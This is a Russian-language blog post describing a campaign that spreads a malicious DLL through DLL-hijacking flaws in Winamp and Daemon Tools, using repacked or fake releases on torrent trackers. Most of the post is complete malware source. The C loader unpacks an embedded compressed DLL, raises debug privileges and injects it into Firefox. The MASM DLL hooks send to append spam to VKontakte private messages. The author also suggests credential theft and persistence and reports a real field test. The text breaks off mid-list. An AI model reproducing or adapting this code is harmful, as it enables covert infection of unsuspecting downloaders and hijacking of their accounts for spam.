Ни для кого не секрет, что за последнее время уязвимость типа DLL Hijacking была найдена в довольно большом количестве популярных приложений (например, Winamp, uTorrent, FireFox, Opera и др.). Суть уязвимости сводится к возможности подгрузки сторонней DLL при открытии некоторых типов файлов этими приложениями.
Решил провести оценку потенциальных возможностей от данного наплыва. Так как специфика уязвимости состоит в том, что зачастую требуется, чтобы инстанс приложения не был запущен до попытки открытия файла, то наиболее актуальными показались следующие уязвимости: уязвимость в Winamp и уязвимость в Daemon tools lite.
Идея использования состоит в следующем: берутся свежие релизы с зарубежных музыкальных и игровых трекеров (например, sceneaccess, waffles, what.cd, blackcats-games), комплектуются dll'кой и перезаливаются на популярные российские трекеры (rutracker, торренты на ВКонтакте и т.д.). Подбирая актуальные новинки, можно получить приличное количество скачиваний в короткие сроки или можно выкладывать фейки альбомов/игр/фильмов.
С помощью фейков удается привлечь большее количество скачиваний в сутки, особенно если следить за раздачами и пересоздавать их в случае разоблачения, реальные раздачи обладают большей стабильностью.
Для тестирования данной идеи была написана DLL, которая обладает следующим функционалом:
1. Ищет процесс FireFox
2. Сплайсит функцию send
3. Добавляет дополнительный текст при отправке личного сообщения на ВКонтакте
Конечно, можно было бы сделать более широкий функционал, например: отправка аккаунтов от различных сервисов на гейт, инжект во все популярные браузеры, а не только в FireFox, инжект в всевозможные icq клиенты, подмена выдачи поисковиков, прописывание себя в реестр в AppInit_DLLs, скачивание и запуск чего-либо из интернета, да, в конце концов, закрепление в системе.
Но целью было исследование эффективности, а не получение прибыли с этого. DLL состоит из двух частей: одна часть на С, другая - на masm. Первая часть хранит в себе вторую и осуществляет поиск процесса и инжект в него второй части. Вторая часть осуществляет сплайсинг функции send и подмену содержимого сообщений. Да, реализация так себе, но, кому надо - тот перепишет под себя.
Код первой части:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
#pragma comment(lib, "psapi") #undef UNICODE #include <stddef.h> #include <stdio.h> #include <windows.h> #include <psapi.h> #include <sys/stat.h> #define BUFSIZE 1024 #define DLL_NAME "mem.dll" typedef NTSTATUS (__stdcall *fpRtlDecompressBuffer)(ULONG, PVOID, ULONG, PVOID, ULONG, PULONG); //структура описывает поля, в которых содержится код внедрения #pragma pack(push, 1) struct INJECTORCODE { BYTE instr_push_loadlibrary_arg; //инструкция push DWORD loadlibrary_arg; //аргумент push WORD instr_call_loadlibrary; //инструкция call DWORD adr_from_call_loadlibrary; BYTE instr_push_exitthread_arg; DWORD exitthread_arg; WORD instr_call_exitthread; DWORD adr_from_call_exitthread; DWORD addr_loadlibrary; DWORD addr_exitthread; //адрес функции ExitThread BYTE libraryname[100]; //имя и путь к загружаемой библиотеке }; #pragma pack(pop) BOOL InjectDll(DWORD pid, char *lpszDllName) { HANDLE hProcess; BYTE *p_code; INJECTORCODE cmds; DWORD wr, id; //Открыть процесс с нужным доступом hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|0x1000|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, pid); if(hProcess == NULL) { MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0); return FALSE; } //Зарезервировать память в процессе p_code = (BYTE*)VirtualAllocEx(hProcess, 0, sizeof(INJECTORCODE), MEM_COMMIT, PAGE_READWRITE); if(p_code == NULL) { MessageBox(NULL, "Unable to alloc memory in remote process", "Error!", 0); return FALSE; } //Инициализировать машинный код cmds.instr_push_loadlibrary_arg = 0x68; //машинный код инструкции push cmds.loadlibrary_arg = (DWORD)((BYTE*)p_code + offsetof(INJECTORCODE, libraryname)); cmds.instr_call_loadlibrary = 0x15ff; //машинный код инструкции call cmds.adr_from_call_loadlibrary = (DWORD)(p_code + offsetof(INJECTORCODE, addr_loadlibrary)); cmds.instr_push_exitthread_arg = 0x68; cmds.exitthread_arg = 0; cmds.instr_call_exitthread = 0x15ff; cmds.adr_from_call_exitthread = (DWORD)(p_code + offsetof(INJECTORCODE, addr_exitthread)); cmds.addr_loadlibrary = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); cmds.addr_exitthread = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ExitThread"); if(strlen(lpszDllName) > 99) { MessageBox(NULL, "Dll Name too long", "Error!", 0); return FALSE; } strcpy((char*)cmds.libraryname, lpszDllName ); /*После инициализации cmds в мнемонике ассемблера выглядит следующим образом: push adr_library_name ;аргумент ф-ции loadlibrary call dword ptr [loadlibrary_adr] ;вызвать LoadLibrary push exit_thread_arg ;аргумент для ExitThread call dword ptr [exit_thread_adr] ;вызвать ExitThread */ //Записать машинный код по зарезервированному адресу WriteProcessMemory(hProcess, p_code, &cmds, sizeof(cmds), &wr); //Выполнить машинный код DWORD old_rights; HANDLE z = CreateRemoteThread(hProcess, NULL, 0, (unsigned long (__stdcall *)(void *))p_code, 0, 0, &id); //Ожидать завершения удаленного потока WaitForSingleObject(z, INFINITE); //Освободить память VirtualFreeEx(hProcess, (void*)p_code, sizeof(cmds), MEM_RELEASE); return TRUE; } //Функция установки привилегий отладчика int AdjustPrivileges() { HANDLE hToken; TOKEN_PRIVILEGES tp; TOKEN_PRIVILEGES oldtp; DWORD dwSize = sizeof(TOKEN_PRIVILEGES); LUID luid; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if(GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) return 1; return 0; } if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return 0; } ZeroMemory(&tp, sizeof(tp)); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) { CloseHandle(hToken); return 0; } CloseHandle(hToken); return 1; } //Функция проверки существования файла int file_exists(char * fileName) { struct stat buf; return stat(fileName, &buf) ? 0 : 1; } void on_attach() { if(AdjustPrivileges()) { DWORD junk; //Тело DLL в hex после RtlCompressBuffer char *tempbuf = "\xBA\xB7\x00\x4D\x5A\x00\x00\x01\x00\x00\x00\x82\x02\x00\x30\xFF\xFF\x00\x00\x40\x00\x38\xC3\x01\x00\x05\x38\xB4\x4C\xCD\x21\x04\x28\x0E\x00\x01\x01\x8C\x50\x45\x00\x00\x4C\x01\x03\x20\x00\x40\x3D\x7A\x4C\x05\x2E\xE0\x00\x00\x0E\x21\x0B\x01\x05\x0C\x00\x08\xA5\x00\x18\x04\x03\x26\x11\x13\x00\x08\x10\x00\x06\xFE\x20\x04\x72\x01\x16\x00\xE8\x01\x3C\x05\x03\x06\x54\x00\x17\x7C\x65\xF6\x03\x93\x02\x28\x01\x2B\x06\x07\x03\x06\xC0\x90\x17\x00\x00\x30\x00\x07\x4C\x16\x00\x83\x77\x15\xA0\x01\x00\x00\x24\xAC\x19\x1F\x15\x00\x00\x32\x3C\x41\x18\x0F\x2E\x74\x65\x78\x74\x80\x03\xF0\x3E\x07\x04\x48\x81\x75\x03\x58\x06\x00\x00\x75\x60\x2E\xD0\x64\x61\x74\x61\x80\x05\xFC\x01\xB2\x81\x7D\x05\x81\x11\x0A\x8E\xA3\xC0\x2E\x72\x65\x6C\x60\x6F\x63\x00\x00\xB8\x84\x59\x82\x13\x0C\xAD\x8E\x13\x42\x31\x65\x19\x00\xD8\xC0\x4F\xEC\xC0\x00\xAA\xFE\xC0\x00\x14\xC0\x54\x24\xC0\x00\x32\xC0\x00\xAA\x44\xC0\x00\x5A\xC0\x00\x66\xC0\x00\x72\xC0\x00\x35\x01\x00\xA4\xC4\x01\x8C\xC4\x01\x01\x00\x55\x8B\x00\xEC\x68\x63\x21\x40\x00\xFF\x75\x00\x0C\xE8\xF6\x05\x00\x00\x8B\xD8\x14\x68\x77\x84\x03\xE7\x81\x03\xC0\x0B\xDB\x08\x0F\x84\x86\x00\x33\x0B\xC0\x0F\x85\x0A\x7E\xC0\x01\x6A\x41\x00\xFF\x68\x00\x20\x12\x40\x82\x02\xE8\x61\x40\x7E\x8B\xD8\x6A\x54\x04\x68\x41\x51\x53\x00\x04\x56\x00\x04\xA3\x62\x4B\xC0\x10\x53\xFF\x35\x81\x01\x09\x0B\x34\x51\xC0\x06\x6B\xDB\x06\x48\x0B\x28\x41\x0B\x4F\x07\x43\x0B\x81\x01\xC3\x0C\xE8\x4C\x03\x00\x00\x58\x68\x00\x80\x81\x1B\x44\x04\x05\x00\x0A\x03\x60\x5D\x10\x89\x1D\x17\x01\x13\x03\x10\xFF\x22\x35\x02\x03\x00\xE8\xE2\x80\x0B\xA3\x57\x29\x80\x09\x68\x83\x04\x2F\x2A\x01\x2F\xF0\x46\x00\x56\x33\xC9\xEB\x02\x41\xAC\x3C\x00\x26\x75\xFA\x5E\x49\x89\x0D\x1B\xA5\x80\x0B\xA1\x01\x01\x03\x05\x88\x11\x50\x40\x10\x7A\xA0\x41\x10\x5F\x81\x2B\x85\x16\x81\x09\x00\x06\x87\x4D\x01\x06\x53\x42\x26\x43\x04\xFF\x35\x41\x03\x56\x4C\xE8\xA2\x00\x06\xC3\x02\xFF\x35\x01\x0E\xE8\x6E\x7B\x02\x04\x03\x31\x02\x04\x64\x09\x31\xC1\x05\xE8\xBE\x40\x82\x08\x01\x07\x45\x0E\x01\x2D\xC1\x2B\x84\xC9\x0A\x4D\x42\x0F\x14\x49\x04\x01\x0B\xE8\x02\x41\x04\x8D\x09\x86\x0D\xE8\x46\x80\x44\x83\xC0\x04\x50\xC4\xE8\x07\x00\x03\x50\x68\x92\xE2\x1F\x60\x14\x04\xE8\xFD\xE0\x34\x83\xC4\x0C\x68\xA5\x85\x84\x0B\x1D\x61\x34\xF0\x83\xC6\x10\xC5\x21\x82\x0D\xC0\x21\x51\x6A\x00\x68\x1F\xA0\x05\x98\x56\xE8\xD8\xC0\x05\x42\x01\x68\xB6\x41\x08\x5A\xE7\x41\x08\xBA\x43\x08\x24\x0D\xA6\xA1\x01\xC0\xCA\x05\xE8\x25\x70\x20\x02\xA3\x5B\x25\x0E\x62\x06\xEC\xFF\x35\xE1\x01\x24\x06\xB4\x61\x0A\xA5\x17\x22\x02\x26\x44\x20\x02\x43\x04\xE8\x57\x41\x01\x75\x14\x02\x50\x24\x06\x75\x08\x68\xD8\x12\x40\x99\x41\x51\xA1\xF4\xE0\x01\x00\x0D\xFF\xE0\x66\x07\x05\x02\x06\x08\x00\x06\x8B\x45\x10\xEB\x1E\x31\xA0\x06\xFF\x75\x10\x60\x1A\x81\x06\x0D\x13\x11\x8C\x06\x5D\xC2\x10\x01\x02\x83\x7D\x0C\xA0\x01\x75\x6E\x68\xC9\x21\x07\xB6\xE0\x76\x34\xA3\xF0\xE1\x14\xD5\x82\x13\x41\x01\xE8\xA7\x13\x81\x02\xA1\x06\x68\xF8\x22\x3E\x6A\x05\xFF\x32\x35\xC1\x01\xE8\xA6\x00\x03\xC2\x09\xC6\x00\x00\xE9\xB9\x40\x10\x40\x00\x2B\x0D\x41\x82\x0B\xE9\x05\x89\x48\x01\x82\x05\xFF\x56\x35\x42\x06\x05\x06\x75\x00\x06\xB8\x41\x83\xC9\x04\xC2\x0C\x41\x0F\x56\x57\x53\x8B\x75\x00\x0C\x8B\x7D\x08\x8B\xC6\x2B\x45\x00\x0C\x8B\x5D\x10\x83\xEB\x04\x3B\x00\xC3\x72\x02\xEB\x74\x8A\x07\x3C\x00\x80\x73\x4E\x3C\x20\x75\x06\xC6\x00\x06\x2B\x46\xEB\x59\x3C\x00\x76\x00\x04\x3C\x2F\x76\x14\x3C\x3A\x72\x80\x04\x3C\x40\x76\x0C\x3C\x5B\xE0\x00\x02\x60\x60\x02\x7B\x72\x23\x3C\x2E\x74\x00\x1F\x3C\x5F\x74\x1B\x3C\x2D\x74\x80\x17\x0F\xB6\xC0\x50\x68\xDA\x22\x4E\x06\x26\x00\x0D\x60\x32\x83\xC6\x03\xEB\x1A\xA0\x88\x06\x46\xEB\x15\x62\x03\xE1\x62\x03\x02\x0A\x66\x03\x47\x8A\x1F\x84\xDB\x0F\x00\x85\x7B\xFF\xFF\xFF\xC6\x06\x00\x88\x5B\x5F\x5E\x44\x13\x83\xC4\xF8\xA0\x13\x0F\xC2\x77\x42\x78\x20\x28\x20\x40\xE9\xFD\x00\x00\x04\xE8\xB5\x00\x18\x83\xF8\x00\x76\x20\x50\x40\x89\x45\xF8\x88\x3C\x8B\xE0\x02\x0B\x08\xC0\x75\x10\x22\x1C\xEB\x67\xEB\x07\x82\xB8\xA1\x9A\xEB\x5E\x89\x45\xFC\x61\x08\x40\xFF\x75\xF8\xFF\x75\xFC\x2A\x09\x6B\x45\x23\x06\x16\xC5\x37\x75\xFC\xE8\xC1\xCA\xB8\x11\x00\x54\x00\xEB\x26\x45\x37\xFC\xE8\xD1\x2C\xFE\xFF\xC0\x82\x66\x04\x28\xC0\x03\x33\xC0\x23\x64\x15\xC4\x00\xFF\x25\x00\x00\x30\xFF\x25\xAA\x04\xA2\x00\x08\xA2\x00\x0C\xA2\x00\x10\xA2\x00\xAA\x14\xA2\x00\x18\xA2\x00\x1C\xA2\x00\x20\xA2\x00\x2A\x24\xA2\x00\x34\xA0\x00\xCC\x00\x00\x8B\x4C\x00\x24\x10\x8B\x54\x24\x04\x03\xD1\x00\x03\x54\x24\x0C\x8B\x44\x24\x08\x00\x03\xC1\xF7\xD9\x53\x0F\xB6\x1C\x00\x11\x88\x1C\x01\x83\xC1\x01\x75\x60\xF4\x5B\xC6\x00\x00\x00\x47\xA1\x05\xCC\x42\xCC\x02\x25\xFC\x53\x56\x57\x80\x1A\xE8\x4E\x9F\xC0\x12\x60\x1D\xC0\x16\xE8\x94\x40\x01\x29\x00\x45\xFC\x8B\x75\x08\x01\x75\xFC\x01\xE1\x3A\x45\xFC\x01\x8B\x7D\x0C\x83\x00\xEE\x01\xEB\x04\x03\xF1\x8B\xFF\x00\x83\xC6\x01\x39\x75\xFC\x7E\x4C\x00\x0F\xB6\x06\x3A\x03\x74\x09\x88\x00\x07\x83\xC7\x01\xEB\xEA\x8B\xFF\x22\xB9\xC0\x30\xFF\x8B\xD3\x00\x0D\x0F\xB6\x00\x02\x85\xC0\x74\x13\x83\xC2\x01\x60\x38\x04\x31\x74\xEE\x00\x05\x83\x04\xC5\x40\x90\x8B\x55\x14\x83\xE9\xE4\x03\xB3\x33\xE0\x03\xE3\x02\xEF\x90\x62\x07\x22\x07\x04\x31\x00\x88\x04\x39\x85\xC0\x75\xF2\x5F\x18\x5E\x5B\xC9\x66\x15\xE2\x1B\x44\x24\x04\x08\x83\xE8\x04\x60\x40\x80\x38\x00\x74\x00\x30\x80\x78\x01\x00\x74\x20\x80\x00\x78\x02\x00\x74\x10\x80\x78\x03\x10\x00\x75\xE6\x2B\x01\x02\xC0\x03\xC2\xD4\x04\x00\x93\x00\x02\x96\x00\x01\x94\x00\x60\x00\x68\xFF\x25\x2C\xF0\x12\x9C\x30\x64\x05\x00\x7E\xAB\x31\x62\x60\x20\xD0\x38\x01\x98\x30\x01\x34\x30\x01\xEA\xC8\x38\x01\xAE\x30\x01\x2C\x74\x7D\xBF\x69\xBF\x69\x07\xBF\x69\xBF\x69\x01\x00\x34\x01\x47\x65\x74\x00\x4D\x6F\x64\x75\x6C\x65\x48\x61\x60\x6E\x64\x6C\x65\x41\xF0\x62\x31\x01\x50\x00\x72\x6F\x63\x41\x64\x64\x72\x65\x00\x73\x73\x00\x00\x0D\x02\x4D\x75\x00\x6C\x74\x69\x42\x79\x74\x65\x54\x00\x6F\x57\x69\x64\x65\x43\x68\x61\x00\x72\x00\xDD\x02\x56\x69\x72\x74\xA0\x75\x61\x6C\x41\x6C\x32\x79\xDF\xF5\x00\xC0\x46\x72\x65\x65\x00\xE2\xD5\x00\x90\x04\x48\x74\x65\x63\x40\x80\xF0\x02\xA5\x03\x54\x02\x6F\xF6\x04\x00\x13\x03\x6C\x73\x74\x50\x72\x63\x61\x74\x90\x07\x19\xB3\x00\x70\x8A\x79\xB0\x00\x1D\xB2\x00\x6C\x65\x6E\xB0\x00\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x00\x2E\x64\x6C\x6C\x00\x00\x7D\x02\x00\x77\x73\x70\x72\x69\x6E\x74\x66\x40\x41\x00\x75\x73\x65\x72\x75\x01\x0C\x10\x01\x53\x74\x72\x20\x00\x41\x00\x73\xC0\x68\x6C\x77\x61\x70\x69\x63\x01\x77\x81\x7D\xB4\x97\xE8\xB0\x0F\x91\x36\x05\x00\xF1\x00\x35\x00\x6D\x0C\x65\x6D\x5C\x03\x03\x00\x0D\x0A\x0D\x0A\x00\xDF\x20\xEF\xEE\xEB\xFC\xE7\xF3\x00\xFE\xF1\xFC\x20\x57\x69\x6E\x61\xFC\x6D\x70\xBF\x18\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x1F\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x06\x00\x50\x4F\x53\x00\x54\x20\x2F\x6D\x61\x69\x6C\x2E\x00\x70\x68\x70\x20\x48\x54\x54\x50\x00\x00\x61\x5F\x77\x72\x69\x74\x65\x80\x5F\x62\x6F\x78\x00\x26\x6D\xB0\x28\x10\x61\x67\x65\x3D\xC2\x18\x00\x43\x6F\x00\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x00\x6E\x67\x74\x68\x3A\x20\x25\x75\x03\x2E\x01\x3F\x02\x73\x00\x77\x73\x6F\x63\x02\x6B\x14\x23\x73\x65\x6E\x64\x00\x25\xE0\x25\x25\x30\x32\x58\x65\x00\x0F\x00\x77\xAE\x01\xF1\xB1\x44\x30\x53\x30\x78\x30\x97\x00\x30\x9E\x30\xA5\x30\xC5\x30\xCC\x00\x30\xD2\x30\xE4\x30\xF2\x30\xFF\x00\x30\x0B\x31\x10\x31\x2E\x31\x33\x00\x31\x39\x31\x4D\x31\x5A\x31\x66\x00\x31\x6C\x31\x74\x31\x80\x31\x86\x00\x31\x91\x31\x97\x31\xA9\x31\xB4\x00\x31\xBA\x31\xC0\x31\xD5\x31\xE7\x00\x31\xF1\x31\xF7\x31\x0B\x32\x10\x00\x32\x1D\x32\x3E\x32\x49\x32\x4E\x00\x32\x53\x32\x61\x32\x7D\x32\x82\x00\x32\x87\x32\x8D\x32\x93\x32\xA5\x00\x32\xB0\x32\xBF\x32\xC7\x32\xCF\x00\x32\xE1\x32\xFC\x32\x04\x33\x1B\x00\x33\x25\x33\x2A\x33\x30\x33\x3A\x00\x33\x3F\x33\x49\x33\x53\x33\x5B\x00\x33\x61\x33\x6C\x33\x72\x33\x7A\x00\x33\xE6\x33\x02\x34\xDC\x34\xE2\x00\x34\xE8\x34\xEE\x34\xF4\x34\xFA\x00\x34\x00\x35\x06\x35\x0C\x35\x12\xE0\x35\x18\x35\x48\x36\xCF\x0B\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0D\x00"; HMODULE ntdll = GetModuleHandle("ntdll.dll"); fpRtlDecompressBuffer RtlDecompressBuffer = (fpRtlDecompressBuffer) GetProcAddress(ntdll,"RtlDecompressBuffer"); //Говнокод int buf_len = 4096; void * uncomp = VirtualAlloc(0,buf_len*2,MEM_COMMIT,PAGE_READWRITE); NTSTATUS status = RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, uncomp, buf_len*2, tempbuf, buf_len, &junk ); FreeLibrary(ntdll); if(status != NULL) { VirtualFree(uncomp,0,MEM_RELEASE); return; } //Сохраняем dll в файл HANDLE file = CreateFile(DLL_NAME,GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file, (char *)uncomp, junk, &junk, 0); CloseHandle(file); VirtualFree(uncomp,0,MEM_RELEASE); if(file_exists(DLL_NAME)) { char dll_path[BUFSIZE]; GetFullPathName(DLL_NAME, BUFSIZE, dll_path, NULL); DWORD ids[255], size, pid = 0; if(!EnumProcesses(ids, sizeof(ids), &size)) return; char prname[64]; size_t i, j = size/sizeof(DWORD); //Ищем процесс firefox for(i = 0; i < j; i++) { HANDLE pr = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ids[i]); if(pr != NULL) { GetModuleBaseName(pr, NULL, prname, sizeof(prname)/sizeof(DWORD)); if(strstr(prname, "firefox.")) { pid = ids[i]; break; } } CloseHandle(pr); } if(pid) InjectDll(pid, dll_path); } } } BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: on_attach(); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; } |
Пример использования функции RtlCompressBuffer для сжатия файла можно посмотреть тут.
Преобразовать сжатый файл в hex можно следующим скриптом на Perl:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
use warnings; open F, '<', 'compressed.txt' or die $!; undef $/; my $str = <F>; close F; open F, '>', 'hex.txt' or die $!; for my $ch(split //, $str) { print F '\x',sprintf("%02X", ord($ch)); } close F; |
Код второй части:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 |
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm include \masm32\macros\inject.asm uselib kernel32, user32, masm32, Shlwapi urlencodeW proto :DWORD, :DWORD, :DWORD .data ;Сообщение, которое будет добавляться к тексту, отправляемому пользователем message_add db 13,10,"payload",0 textlen dd 0 mess_len dd 0 misc db 100 dup (0) header db 100 dup (0) header1 db 100 dup (0) message_w dword ? message_add_urlenc dword ? message dword ? request dword ? request_final dword ? temp dword ? iAlloc MACRO size:REQ invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE EXITM <eax> ENDM iFree MACRO memaddr:REQ invoke VirtualFree,&memaddr,0,MEM_RELEASE ENDM .code MyFunc: push ebp mov ebp,esp ;__in SOCKET s, __in const char *buf, __in int len, __in int flags mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP")) mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent")) .if ebx != 0 && eax != 0 ;Определяем необходимый размер буфера invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0 mov ebx,eax ;Создаем буфер mov message_w,iAlloc(ebx) ;Кодируем invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx ;Мега буфер для urlenc сообщения mov eax,6 mul ebx mov message_add_urlenc,iAlloc(ebx) invoke urlencodeW,message_w,message_add_urlenc,ebx iFree message_w ;размер = сообщение после обработки + исходный запрос add ebx,[ebp+16] mov textlen,ebx ;Буфер по размеру текста mov request,iAlloc(textlen) invoke StrStr,[ebp+12],chr$("&message=") mov esi,eax ;пропуск & inc esi push esi xor ecx,ecx .while al != '&' inc ecx lodsb .endw pop esi ;размер сообщения dec ecx mov mess_len,ecx ;размер оригинал + добавка mov eax,mess_len add eax,textlen ;Буфер для них mov temp,iAlloc(eax) ;Буфер для оригинала сообщения mov message,iAlloc(mess_len) ;в message оригинальное сообщение fn szMid,esi,message,0,mess_len ;Копируем оригинал в temp invoke lstrcpy,temp,message ;Объединяем тексты invoke lstrcat,temp,message_add_urlenc ;Освобождаем буфер с добавляемым сообщением iFree message_add_urlenc ;Замена fn szRep,[ebp+12],request,message,temp ;Уже не надо iFree temp iFree message ;Тело запроса invoke StrStr,request,chr$(13,10,13,10) add eax,4 ;Размер тела invoke lstrlen,eax ;Делаем новый заголовок invoke wsprintf,offset header,chr$("Content-Length: %u"),eax invoke StrStr,[ebp+12],chr$("Content-Length: ") mov esi,eax add esi,16 push esi xor ecx,ecx .while al != 13 ; \r inc ecx lodsb .endw pop esi ;Старый размер fn szMid,esi,offset misc,0,ecx ;Делаем старый заголовок invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc invoke lstrlen,request add eax,5 mov request_final,iAlloc(eax) ;Замена fn szRep,request,request_final,offset header1,offset header iFree request ;Размер буфера к отправке invoke lstrlen,request_final HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20] iFree request_final ;Возвращаем размер оригинального запроса mov eax,[ebp+16] .else HOOK_ORIGINAL_CALL send, 4 .endif pop ebp retn 4*4 LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD .if reason == DLL_PROCESS_ATTACH ;Ставим хук SET_HOOK wsock32.dll, send, MyFunc ;Успешный атач mov eax,1 .endif ret LibMain ENDP urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD push esi push edi push ebx mov esi,result_buffer mov edi,text_to_convert loop_enc: mov eax,esi sub eax,result_buffer mov ebx,result_buffer_len sub ebx,4 .if eax>=ebx jmp loop_enc_end .endif mov al,byte ptr [edi] .if al<80h .if al==' ' mov byte ptr [esi],'+' inc esi .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-' movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .else mov byte ptr [esi],al inc esi .endif .else movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .endif inc edi mov bl,byte ptr [edi] test bl,bl jne loop_enc loop_enc_end: mov byte ptr [esi],0 pop ebx pop edi pop esi ret urlencode ENDP urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD LOCAL convert_buffer :DWORD LOCAL convert_buffer_len :DWORD push esi push edi push ebx invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0 .if eax>0 inc eax mov convert_buffer_len,eax invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE .if eax==0 mov eax,1 jmp conv_error .endif .else mov eax,2 jmp conv_error .endif mov convert_buffer,eax invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0 .if eax==0 invoke VirtualFree,convert_buffer,0,MEM_RELEASE mov eax,3 jmp conv_error .endif invoke urlencode,convert_buffer,result_buffer,result_buffer_len invoke VirtualFree,convert_buffer,0,MEM_RELEASE xor eax,eax pop ebx pop edi pop esi ret conv_error: pop ebx pop edi pop esi ret urlencodeW ENDP end LibMain |
inject.asm, используемый в коде, представляет собой набор макросов из статьи "Делаем собственный инжектор". Данный файл на всякий случай включен в архив в конце статьи.
Если у Вас возникают проблемы с пониманием кода, то советую обратиться к следующим статьям: раз, два, три. Необходимые инструменты для компиляции второй части можно найти тут.
Результат работы выглядит следующим образом:
1. Пользователь пишет сообщение, нажимает отправить
2. В исходящих оказывается сообщение с пользовательским текстом и добавкой из библиотеки
Ужасно тривиально.
Чем это полезно? Во-первых, можно осуществлять рассылки без необходимости приобретения актуальных программ для этих целей, во-вторых, не требуются прокси, т.к. рассылку осуществляет владелец аккаунта (хотя объемы рассылки будут заметно ниже, ибо не каждый общается со всем своим контакт-листом каждый день), в-третьих, такие рассылки с большей вероятностью проходят фильтр на основе теоремы Байеса (меньше вероятность того, что получатель нажмет кнопку "Это спам", большее разнообразие текстов).
Знакомый человек протестировал данную систему, и вот что у него получилось.
1. Было создано 10 разных раздач на нескольких трекерах.
